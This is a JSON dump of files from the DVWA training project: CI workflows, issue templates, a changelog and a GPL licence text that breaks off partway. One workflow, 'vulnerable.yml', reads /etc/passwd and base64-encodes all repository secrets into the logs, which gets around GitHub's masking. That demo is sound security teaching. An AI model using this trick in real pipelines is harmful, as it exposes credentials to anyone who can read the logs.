[
  {
    "path": ".dockerignore",
    "content": "**/.git\n**/.gitignore\n**/.github\n**/Dockerfile*\n**/.dockerignore\n**/compose.yml\n"
  },
  {
    "path": ".gitattributes",
    "content": "# Auto detect text files and perform LF normalization\n* text=auto\n\n#\n# The above will handle all files NOT found below\n#\n\n# Documents\n*.pdf diff=astextplain\n*.PDF diff=astextplain\n*.md text diff=markdown\n\n# Graphics\n*.png binary\n*.jpg binary\n*.jpeg binary\n*.ico binary\n\n# Archives\n*.db binary\n\n# Text files where line endings should be preserved\n*.patch -text\n\n#\n# Exclude files from exporting\n#\n\n.gitattributes export-ignore\n.gitignore export-ignore\n.gitkeep export-ignore\n"
  },
  {
    "path": ".github/FUNDING.yml",
    "content": "# These are supported funding model platforms\n\ngithub: digininja\ncustom: https://digi.ninja\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/bug-report---installation.md",
    "content": "---\nname: Bug report - Installation\nabout: Create a report about installation issues\ntitle: ''\nlabels: ''\nassignees: ''\n\n---\n\nBefore you raise a bug, please make sure you have fully read the README, especially if your bug relates to configuring the database.\n\nIssues will be closed if the answer is in the README and no obvious attempts have been made to follow it.\n\nSupport will only be given for users running the latest pull of code from GitHub. Not a tagged release, not a pre-installed app, not a ZIP you got from a mate.\n\n**Describe the bug**\nA clear and concise description of what the bug is.\n\n**To Reproduce**\nWhat have you installed, what are you running when you get the error...\n\nSteps to reproduce the behaviour:\n1. Go to '...'\n2. Click on '....'\n3. Scroll down to '....'\n4. See error\n\n**Logs**\nInclude the last five lines of the Apache log file from directly after the problem happened.\n\n**Expected behaviour**\nA clear and concise description of what you expected to happen.\n\n**What have you done to help fix the issue yourself?**\nWhat have you tried, what research have you done, what changes have you made.\n\n**Screenshots**\nIf applicable, add screenshots to help explain your problem.\n\n**System (please complete the following information):**\n - OS: [e.g. Windows, Ubuntu]\n - Database and Version [e.g. MySQL, MariaDB, 10.5.12-MariaDB]\n - PHP Version [e.g. 7.4.25]\n- Installed PHP modules\n\n**Additional context**\nAdd any other context about the problem here.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/bug-report---vulnerability.md",
    "content": "---\nname: Bug report - Vulnerability\nabout: Creating a report in a bug in a vulnerability\ntitle: ''\nlabels: ''\nassignees: ''\n\n---\n\nBefore you raise a bug, please make sure you have fully read the README, especially if your bug relates to configuring the database.\n\nIssues will be closed if the answer is in the README and no obvious attempts have been made to follow it.\n\nSupport will only be given for users running the latest pull of code from GitHub. Not a tagged release, not a pre-installed app, not a ZIP you got from a mate.\n\n**Describe the bug**\nA clear and concise description of what the bug is. \n\n**To Reproduce**\nSteps to reproduce the behaviour:\n1. Go to '...'\n2. Click on '....'\n3. Scroll down to '....'\n4. See error\n\n**Expected behaviour**\nA clear and concise description of what you expected to happen.\n\n**What have you done to help fix the issue yourself?**\nWhat have you tried, what research have you done, what changes have you made.\n\n**Screenshots**\nIf applicable, add screenshots to help explain your problem.\n\n**System (please complete the following information):**\n - DVWA installation OS [e.g. Windows, Ubuntu]\n - Database and Version [e.g. MySQL, MariaDB, 10.5.12-MariaDB]\n - PHP Version [e.g. 7.4.25]\n\n**Browser/Proxy (please complete the following information):**\n - OS - The one you are running the browser in: [e.g. Windows 10]\n - Browser [e.g. Chrome, Firefox]\n - Proxy [e.g. Burp, ZAP]\n\n**Additional context**\nAdd any other context about the problem here.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/i-m-stuck.md",
    "content": "---\nname: I'm Stuck\nabout: When you are stuck exploiting a vulnerability\ntitle: ''\nlabels: 'stuck'\nassignees: ''\n\n---\n\nQuestions here may or may not be answered depending on the state of the question, to increase your chance, read this before asking [Asking For Technical Help](https://digi.ninja/blog/asking_for_help.php).\n\nBasically, the more details you give, the more chance of getting an answer. We need at least:\n\n- Where did you get DVWA from?\n- What OS are you installing it on?\n- Last five lines from the web server access and error log from the time the error occurred if you got that far.\n- The error you got when you got stuck.\n- Any previous errors.\n- What you have tried to do yourself to fix the problem.\n\nSupport will only be given for users running the latest pull of code from GitHub. Not a tagged release, not a pre-installed app, not a ZIP you got from a mate.\n"
  },
  {
    "path": ".github/workflows/codeql-analysis.yml",
    "content": "# For most projects, this workflow file will not need changing; you simply need\n# to commit it to your repository.\n#\n# You may wish to alter this file to override the set of languages analyzed,\n# or to provide custom queries or build logic.\nname: \"CodeQL\"\n\non:\n  push:\n    branches: \n      - master\n  pull_request:\n    # The branches below must be a subset of the branches above\n    branches: \n      - master\n  schedule:\n    - cron: '0 15 * * 3'\n\njobs:\n  analyze:\n    name: Analyze\n    runs-on: ubuntu-latest\n\n    strategy:\n      fail-fast: false\n      matrix:\n        # Override automatic language detection by changing the below list\n        # Supported options are ['csharp', 'cpp', 'go', 'java', 'javascript', 'python']\n        language:\n          - 'javascript'\n          - 'python'\n        # Learn more...\n        # https://docs.github.com/en/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#overriding-automatic-language-detection\n\n    steps:\n    - name: Checkout repository\n      uses: actions/checkout@v6.0.2\n      with:\n        # We must fetch at least the immediate parents so that if this is\n        # a pull request then we can checkout the head.\n        fetch-depth: 2\n\n    # Initializes the CodeQL tools for scanning.\n    - name: Initialize CodeQL\n      uses: github/codeql-action/init@v4.33.0\n      with:\n        languages: ${{ matrix.language }}\n        # If you wish to specify custom queries, you can do so here or in a config file.\n        # By default, queries listed here will override any specified in a config file.\n        # Prefix the list here with \"+\" to use these queries and those in the config file.\n        # queries: ./path/to/local/query, your-org/your-repo/queries@main\n\n    # Autobuild attempts to build any compiled languages  (C/C++, C#, or Java).\n    # If this step fails, then you should remove it and run the build manually (see below)\n    - name: Autobuild\n      uses: github/codeql-action/autobuild@v4.33.0\n\n    # ℹ️ Command-line programs to run using the OS shell.\n    # 📚 https://git.io/JvXDl\n\n    # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines\n    #    and modify them (or add more) to build your code if your project\n    #    uses a compiled language\n\n    #- run: |\n    #   make bootstrap\n    #   make release\n\n    - name: Perform CodeQL Analysis\n      uses: github/codeql-action/analyze@v4.33.0\n"
  },
  {
    "path": ".github/workflows/docker-image.yml",
    "content": "name: Docker Image CI\n\non:\n  workflow_dispatch:\n  push:\n    branches:\n      - master\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions/checkout@v6.0.2\n\n    - name: Set up QEMU\n      uses: docker/setup-qemu-action@v3\n\n    - name: Set up Docker Buildx\n      uses: docker/setup-buildx-action@v3\n\n    - name: Login to GitHub Container Registry\n      uses: docker/login-action@v3\n      with:\n        registry: ghcr.io\n        username: ${{ github.actor }}\n        password: ${{ secrets.GITHUB_TOKEN }}\n\n    - name : Build and push multi-arch DVWA image\n      run: |\n\n        IMAGE_ID=ghcr.io/${{ github.repository_owner }}/dvwa\n        IMAGE_ID=$(echo $IMAGE_ID | tr '[A-Z]' '[a-z]')\n        VERSION=$(echo \"${{ github.ref }}\" | sed -e 's,.*/\\(.*\\),\\1,')\n        [[ \"${{ github.ref }}\" == \"refs/tags/\"* ]] && VERSION=$(echo $VERSION | sed -e 's/^v//')\n        [ \"$VERSION\" == \"master\" ] && VERSION=latest\n        COMMIT=$(echo \"${{ github.sha }}\" | cut -c 1-7)\n        echo IMAGE_ID=$IMAGE_ID\n        echo VERSION=$VERSION\n        echo COMMIT=$COMMIT\n\n        docker buildx build --platform linux/amd64,linux/arm64 \\\n              --tag $IMAGE_ID:$VERSION \\\n              --tag $IMAGE_ID:$COMMIT \\\n              --push .\n\n"
  },
  {
    "path": ".github/workflows/pytest.yml",
    "content": "name: CI\n\non:\n  push:\n    branches:\n      - master\n  pull_request:\n    branches:\n      - master\n  schedule:\n    # Every Sunday at 0AM UTC\n    - cron: \"0 0 * * 0\"\n\njobs:\n  Pytest:\n    runs-on: ubuntu-latest\n\n    steps:\n      - uses: actions/checkout@v6.0.2\n        with:\n          fetch-depth: 0\n\n      - name: Install and Run Pytest\n        run: |\n          export SETUPTOOLS_USE_DISTUTILS=stdlib\n          pip3 install pytest\n          python3 -m pytest -s\n"
  },
  {
    "path": ".github/workflows/shiftleft-analysis.yml",
    "content": "# This workflow integrates Scan with GitHub's code scanning feature\n# Scan is a free open-source security tool for modern DevOps teams from ShiftLeft\n# Visit https://slscan.io/en/latest/integrations/code-scan for help\nname: SL Scan\n\n# This section configures the trigger for the workflow. Feel free to customize depending on your convention\non:\n  push:\n    branches:\n      - master\n  pull_request:\n    branches:\n      - master\n\njobs:\n  Scan-Build:\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions/checkout@v6.0.2\n      with:\n        fetch-depth: 0\n\n    - name: Perform Scan\n      uses: ShiftLeftSecurity/scan-action@v1.3.0\n      env:\n        WORKSPACE: \"\"\n        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n        SCAN_AUTO_BUILD: true\n      with:\n        output: reports\n\n    - name: Upload report\n      uses: github/codeql-action/upload-sarif@v4.33.0\n      with:\n        sarif_file: reports\n"
  },
  {
    "path": ".github/workflows/vulnerable.yml",
    "content": "name: Vulnerable Action\n\non:\n  push:\n    branches:\n      - master\n\njobs:\n  run_commands:\n    name: Run Linux Commands\n    runs-on: ubuntu-latest\n    steps:\n      - name: Directory Listing\n        run: |\n          ls -al\n          ls /\n          pwd\n          id\n          cat /etc/passwd\n          \n  get_secrets:\n    name: Get Some Secrets\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v6.0.2\n        with:\n          fetch-depth: 0\n          \n      - name: Get Secret\n        env:\n          ALLMYSECRETS: ${{ toJSON(secrets) }}\n          ALLMYVARS: ${{ toJSON(vars) }}\n          SUPER_SECRET: ${{ secrets.DVWA_SECRET_KEY }}\n        run: |\n          # This will just show ***\n          echo \"$SUPER_SECRET\"\n\n          # This will put the secret into a file and then display the file, but that\n          # will still only show ***\n          echo \"$SUPER_SECRET\" > secret_file\n          cat secret_file\n\n          # This will try to show all the secrets, but will show *** instead\n          echo \"$ALLMYSECRETS\"\n\n          # This will show the variables, because variables are public\n          echo \"$ALLMYVARS\"\n\n          # This will show a base64 encoded version of the one secret.\n          # Github doesn't recognise this so will allow it to be shown\n          echo \"$SUPER_SECRET\" | base64\n\n          # Same for all the tokens.\n          echo \"$ALLMYSECRETS\" | base64\n"
  },
  {
    "path": ".gitignore",
    "content": "# Neither the config file or its backup should go\n# into the repo.\nconfig/config.inc.php.bak\nconfig/config.inc.php\n\n# Vim swap files\n.*swp\n\n# VS Code editor files\n*.code-workspace\n\n# Used by pytest\ntests/__pycache__/\n\n# Don't include any uploaded images\nhackable/uploads/*\n.DS_Store\n.DS_Store\n"
  },
  {
    "path": "CHANGELOG.md",
    "content": "DAMN VULNERABLE WEB APPLICATION\n=======================\n\nv1.10 (*Not Yet Released)\n======\n\n+ Improved IIS support. (@g0tmi1k)\n+ Improved setup system check. (@g0tmi1k)\n\nv1.9 (2015-10-05)\n======\n\n+ Added a dedicated objective (or \"flag\") for file include. (@g0tmi1k)\n+ Added a warning to any module that requires a certain configuration. (@g0tmi1k)\n+ Added comments to all source code that would be visible via DVWA modules. (@g0tmi1k)\n+ Added CSRF token to pre-auth forms (login/setup/security pages). (@g0tmi1k + @Shinkurt)\n+ Added HttpOnly cookie flag on impossible levels. (@g0tmi1k)\n+ Added more detail to the documentation. (@g0tmi1k)\n+ Added PDO to all impossible levels requiring MySQL. (@g0tmi1k)\n+ Added PHPIDS options into the config file. (@g0tmi1k)\n+ Added system check to setup. (@g0tmi1k)\n+ Added various information to all help pages for every module. (@g0tmi1k)\n+ Changed brute force medium to be harder due to sleep. (@g0tmi1k)\n+ Changed file include landing page + added 3x example pages. (@g0tmi1k)\n+ Changed file include medium to be harder due to more filters. (@g0tmi1k)\n+ Changed HTTP REFERER check for medium level CSRF. (@g0tmi1k)\n+ Changed input box for medium level with SQLi + SQLi Blind. (@g0tmi1k)\n+ Changed SQLi + SQLi Blind to be $_POST rather than $_GET. (@g0tmi1k)\n+ Changed SQLi Blind to be a real example of the vulnerability. (@g0tmi1k)\n+ Fixed brute force and file upload impossible levels, as they were vulnerable. (@g0tmi1k + @Shinkurt)\n+ Fixed bug with file fnclude page not loading. (@g0tmi1k)\n+ Fixed CAPTCHA bug to read URL parameters on impossible. (@g0tmi1k)\n+ Fixed CAPTCHA bug where the form wouldn't be visible. (@g0tmi1k)\n+ Fixed CAPTCHA bug where the URL parameters were not being used for low + medium. (@g0tmi1k)\n+ Fixed CSRF medium level bug when not on localhost. (@g0tmi1k)\n+ Fixed setup bug with custom URL path. (@g0tmi1k)\n+ Removed PostgreSQL DB support. (@g0tmi1k)\n+ Renamed 'Command Execution' to 'Command Injection'. (@g0tmi1k)\n+ Renamed 'high' level to 'impossible' and created new vectors for 'high'. (@g0tmi1k)\n+ Updated README and documentation. (@g0tmi1k)\n+ Various code cleanups in the core PHP files + CSS. (@g0tmi1k)\n+ Various setup improvements (e.g. redirection + limited menu links). (@g0tmi1k)\n\nv1.8 (2013-05-01)\n======\n\n+ Versioning change: Version numbers now follow Major.Minor (e.g. v1.8) removing the middle digit.\n+ Moved default security level setting to the config file.\n+ Fixed a bug which prevented setup when a database name other than 'dvwa' was used.\n+ Added a logic challenge involving an insecure CAPTCHA (requires external internet access)\n\nv1.0.7 (2010-09-08)\n======\n\n+ Re-designed the login page + made some other slight cosmetic changes. 06/06/2010 (@ethicalhack3r)\n+ Started PostgreSQL implementation. 15/03/2010 (@ethicalhack3r)\n+ A few small cosmetic changes. 15/03/2010 (@ethicalhack3r)\n+ Improved the help information and look. 15/03/2010 (@ethicalhack3r)\n+ Fixed a few bugs thanks to @Digininja. 15/03/2010 (@ethicalhack3r)\n+ Show logged in username. 05/02/2010 (Jason Jones)\n+ Added new info on RandomStorm. 04/02/2010 (@ethicalhack3r)\n+ Added 'SQL Injection (Blind)'. 04/02/2010 (@ethicalhack3r)\n+ Added official documentation. 21/11/2009 (@ethicalhack3r)\n+ Implemented view all source functionality. 16/10/2009 (tmacuk, craig, @ethicalhack3r)\n\nv1.0.6 (2009-10-05)\n======\n\n+ Fixed a bug where the logo would not show on first time use. 03/09/2009 (@ethicalhack3r)\n+ Removed 'current password' input box for low+med CSRF security. 03/09/2009 (@ethicalhack3r)\n+ Added an article which was written for OWASP Turkey. 03/10/2009 (@ethicalhack3r)\n+ Added more toubleshooting information. 02/10/2009 (@ethicalhack3r)\n+ Stored XSS high now sanitises output. 02/10/2009 (@ethicalhack3r)\n+ Fixed a 'bug' in XSS stored low which made it not vulnerable. 02/10/2009 (@ethicalhack3r)\n+ Rewritten command execution high to use a whitelist. 30/09/09 (@ethicalhack3r)\n+ Fixed a command execution vulnerability in exec high. 17/09/09 (@ethicalhack3r)\n+ Added some troubleshooting info for PHP 5.2.6 in readme.txt. 17/09/09 (@ethicalhack3r)\n+ Added the upload directory to the upload help. 17/09/09 (@ethicalhack3r)\n\nv1.0.5 (2009-09-03)\n======\n\n+ Made IE friendly as much as possible. 30/08/2009 (@ethicalhack3r)\n+ Removed the acunetix scan report. 30/08/2009 (@ethicalhack3r)\n+ Added 'Clear Log' button to PHPIDS parser. 27/08/2009 (@ethicalhack3r)\n+ Implemented PHPIDS log parser. 27/08/2009 (@ethicalhack3r)\n+ Implemented Stored XSS vulnerability. 27/08/2009 (@ethicalhack3r)\n+ Added htaccess rule for localhost access only. 22/08/2009 (@ethicalhack3r)\n+ Added CSRF. 01/08/2009 (@ethicalhack3r)\n+ Implemented sessions/login. 01/08/2009 (@ethicalhack3r)\n+ Complete recode. (jamesr)\n+ Complete redesign. (jamesr)\n+ Delimited 'dvwa' in session- minimising the risk of clash with other projects running on localhost. 01/08/2009 (jamesr)\n+ Integrated PHPIDS v0.6. 01/08/2009 (jamesr)\n+ Streamlined login functionality. 01/08/2009 (jamesr)\n\nv1.0.4 (2009-06-29)\n======\n\n+ Added acunetix scan report. 24/06/2009\n+ All links use http://hiderefer.com to hide referrer header. 23/06/2009\n+ Updated/added 'more info' links. 23/06/2009\n+ Moved change log info to CHANGELOG.txt. 22/06/2009\n+ Fixed the exec.php UTF-8 output. 16/06/2009\n+ Moved Help/View source buttons to footer. 12/06/2009\n+ Fixed phpInfo bug. 12/06/2009\n+ Made dvwa IE friendly. 11/06/2009\n+ Fixed html bugs. 11/06/2009\n+ Added more info to about page. 03/06/2009\n+ Added pictures for the users. 03/06/2009\n+ Fixed typos on the welcome page. 03/06/2009\n+ Improved README.txt and fixed typos. 03/06/2009\n+ Made SQL injection possible in sqli_med.php. Thanks to Teodor Lupan. 03/06/2009\n\nv1.0.3 (2009-05-25)\n======\n\n+ Changed XAMPP link in index.php. 25/05/2009\n+ Set default security to low. 25/05/2009\n+ Improved output in setup.php. 25/05/2009\n\nv1.0.2 (2009-05-24)\n======\n\n+ Removed phpinfo on higher security levels. 24/05/2009\n+ Moved all vulnerable code to /source/. 24/05/2009\n+ Added viewsource. 24/05/2009\n\nv1.0.1 (2009-05-24)\n======\n\n+ Implemented different security levels. 24/05/2009\n+ Changed XSS from POST to GET. 22/05/2009\n+ Some changes to CSS. 22/05/2009\n+ Version number now in variable in header.php. 21/05/2009\n+ Added about page. 21/05/2009\n+ Updated login script to use database. 21/05/2009\n+ Added admin user to database. 21/05/2009\n+ Combined RFI + LFI to make 'File Inclusion'. 21/05/2009\n+ More realism to Local File Inclusion. 21/05/2009\n+ Better error output on upload script. 21/05/2009\n\nv1.0 (2009-05-20)\n====\n\n+ Made command execution more realistic. 20/05/2009\n+ Added help buttons. 20/05/2009\n+ Added .htaccess file to turn magic quotes off. 20/05/2009\n+ Improved database creation with setup.php. 19/05/2009\n+ Amended installation instructions in README file. 19/05/2009\n+ Added GNU GPL license. 19/05/2009\n+ Added a robots.txt file with disallow all. 26/01/2009\n+ Removed link to www.ethicalhacker.co.uk in footer. 26/01/2009\n+ Added better error output on magic quotes. 26/01/2009\n\n\nLinks\n=====\n\n+ Homepage: http://www.dvwa.co.uk\n\n_Created by the DVWA team._\n"
  },
  {
    "path": "COPYING.txt",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are 